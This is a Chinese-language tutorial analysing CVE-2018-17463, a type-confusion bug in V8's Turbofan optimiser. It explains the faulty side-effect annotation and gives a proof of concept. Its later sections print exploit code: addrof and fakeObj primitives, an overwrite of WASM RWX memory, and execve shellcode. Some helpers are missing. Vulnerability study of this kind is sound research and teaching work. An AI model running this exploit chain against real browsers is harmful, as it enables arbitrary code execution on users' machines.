V8漏洞CVE-2018-17463分析与复现
字数 1413 2025-08-24 07:48:10
V8漏洞CVE-2018-17463分析与复现教学文档
1. 漏洞概述
CVE-2018-17463是V8引擎中的一个类型混淆漏洞,由于在编译优化过程中错误地消除了检查节点导致。该漏洞最终可导致任意代码执行。
关键点:
- 漏洞类型:类型混淆(Type Confusion)
- 影响组件:V8的Turbofan优化编译器
- 根本原因:错误的side effect注解导致检查节点被错误消除
- 漏洞修复提交:52a9e67a477bdb67ca893c25c145ef5191976220
2. V8编译器流水线背景
理解此漏洞需要对V8的编译器流水线有基本了解:
2.1 Ignition解释器
- 将JavaScript源代码解析为字节码
- 直接解释执行字节码
- 专注于快速启动和执行
2.2 Sparkplug (本漏洞版本中不存在)
- 在V9.1引入的非优化JS编译器
- 位于Ignition和Turbofan之间
- 直接生成未经优化的机器码
2.3 Turbofan优化编译器
- 将中间表示(IR)转换为高度优化的机器代码
- 应用复杂优化策略:内联缓存、类型推断、循环优化等
- 本漏洞发生的阶段
3. 漏洞详细分析
3.1 漏洞根源
漏洞位于src/compiler/js-operator.cc中,对CreateObject操作的side effect注解错误:
- V(CreateObject, Operator::kNoWrite, 1, 1) \
+ V(CreateObject, Operator::kNoProperties, 1, 1) \
kNoWrite表示操作不产生任何副作用,但实际上CreateObject会修改对象的属性映射(Map)。
3.2 关键概念解释
Property枚举定义:
enum Property {
kNoProperties = 0,
kCommutative = 1 << 0, // OP(a, b) == OP(b, a) for all inputs.
kAssociative = 1 << 1, // OP(a, OP(b,c)) == OP(OP(a,b), c) for all inputs.
kIdempotent = 1 << 2, // OP(a); OP(a) == OP(a).
kNoRead = 1 << 3, // Has no scheduling dependency on Effects
kNoWrite = 1 << 4, // Does not modify any Effects and thereby
// create new scheduling dependencies.
kNoThrow = 1 << 5, // Can never generate an exception.
kNoDeopt = 1 << 6, // Can never generate an eager deoptimization exit.
kFoldable = kNoRead | kNoWrite,
kKontrol = kNoDeopt | kFoldable | kNoThrow,
kEliminatable = kNoDeopt | kNoWrite | kNoThrow,
kPure = kNoDeopt | kNoRead | kNoWrite | kNoThrow | kIdempotent
};
3.3 漏洞触发机制
Object.create()会将对象的属性映射从快速模式(FastProperties)转换为字典模式(DictionaryProperties)- Turbofan优化时错误地认为
CreateObject没有副作用(kNoWrite) - 优化器消除了冗余的CheckMaps节点
- 后续代码仍假设对象是快速模式,但实际上已是字典模式
- 导致类型混淆,可以读取/写入错误的内存位置
3.4 漏洞验证POC
function vuln(obj) {
obj.a;
Object.create(obj);
return obj.b;
}
let obj = {a: 42, b: 43};
vuln(obj);
vuln(obj);
%OptimizeFunctionOnNextCall(vuln);
vuln(obj); // 这里会返回错误的值
4. 漏洞利用技术
4.1 利用步骤概述
- 找到重叠属性(Property Overlapping)
- 构建addrof原语泄露对象地址
- 构建fakeObj原语实现任意地址读写
- 通过WASM获取可执行内存
- 写入shellcode并执行
4.2 关键利用技术详解
4.2.1 寻找重叠属性
function findOverlapping() {
let names = [];
for (let i = 0; i < 32; i++) {
names[i] = 'b' + i;
}
eval(`function vuln(obj) {
obj.a;
this.Object.create(obj);
${names.map(b => `let ${b} = obj.${b};`).join('\n')}
return [${names.join(', ')}];
}`);
let values = [];
for (let i = 1; i < 32; i++) {
values[i] = -i;
}
for (let i = 0; i < 10000; i++) {
let res = vuln(getObj(values));
for (let i = 1; i < res.length; i++) {
if (i !== -res[i] && res[i] < 0 && res[i] > -32) {
[p1, p2] = [i, -res[i]];
return;
}
}
}
throw "[!] Failed to find overlapping";
}
4.2.2 Addrof原语
function addrof(obj) {
eval(`function vuln(obj) {
obj.a;
this.Object.create(obj);
return obj.b${p1}.x1;
}`);
let values = [];
values[p1] = {x1: 1.1, x2: 1.2};
values[p2] = {y: obj};
for (let i = 0; i < 10000; i++) {
let res = vuln(getObj(values));
if (res != 1.1) {
return res;
}
}
throw "[!] AddrOf Primitive Failed";
}
4.2.3 FakeObj原语
function fakeObj(obj, addr) {
eval(`function vuln(obj) {
obj.a;
this.Object.create(obj);
let orig = obj.b${p1}.x2;
obj.b${p1}.x2 = ${addr};
return orig;
}`);
let values = [];
let o = {x1: 1.1, x2: 1.2};
values[p1] = o;
values[p2] = obj;
for (let i = 0; i < 10000; i++) {
o.x2 = 1.2;
let res = vuln(getObj(values));
if (res != 1.2) {
return res;
}
}
throw "[!] fakeObj Primitive Failed";
}
4.2.4 WASM内存操作
var wasmCode = new Uint8Array([...]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
let mem = new ArrayBuffer(1024);
let dv = new DataView(mem);
let addr = addrof(wasmInstance);
fakeObj(mem, addr);
let code_addr = Int64.fromDouble(dv.getFloat64(0xf0 - 1, true));
fakeObj(mem, code_addr.asDouble());
let shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
let data_view = new DataView(mem);
for (let i = 0; i < 3; i++)
data_view.setBigUint64(8*i, shellcode[i], true);
f(); // 执行shellcode
5. 完整利用流程
- 验证漏洞存在
- 寻找重叠属性
- 构造addrof原语泄露wasm实例地址
- 构造fakeObj原语修改ArrayBuffer的backing_store
- 获取WASM的RWX内存地址
- 向RWX内存写入shellcode
- 调用WASM函数执行shellcode
6. 防御措施
- 更新到修复版本
- 启用V8的指针压缩(pointer compression)可以增加利用难度
- 启用W^X保护机制
7. 学习价值
- 理解V8优化编译器的工作原理
- 学习类型混淆漏洞的利用方法
- 掌握浏览器漏洞利用的基本技术路线
- 学习如何通过属性重叠构建内存读写原语
- 了解WASM在漏洞利用中的作用
8. 参考资源
- V8官方源码
- Chromium Issue 888923
- V8编译器设计文档
- 相关博客和漏洞分析文章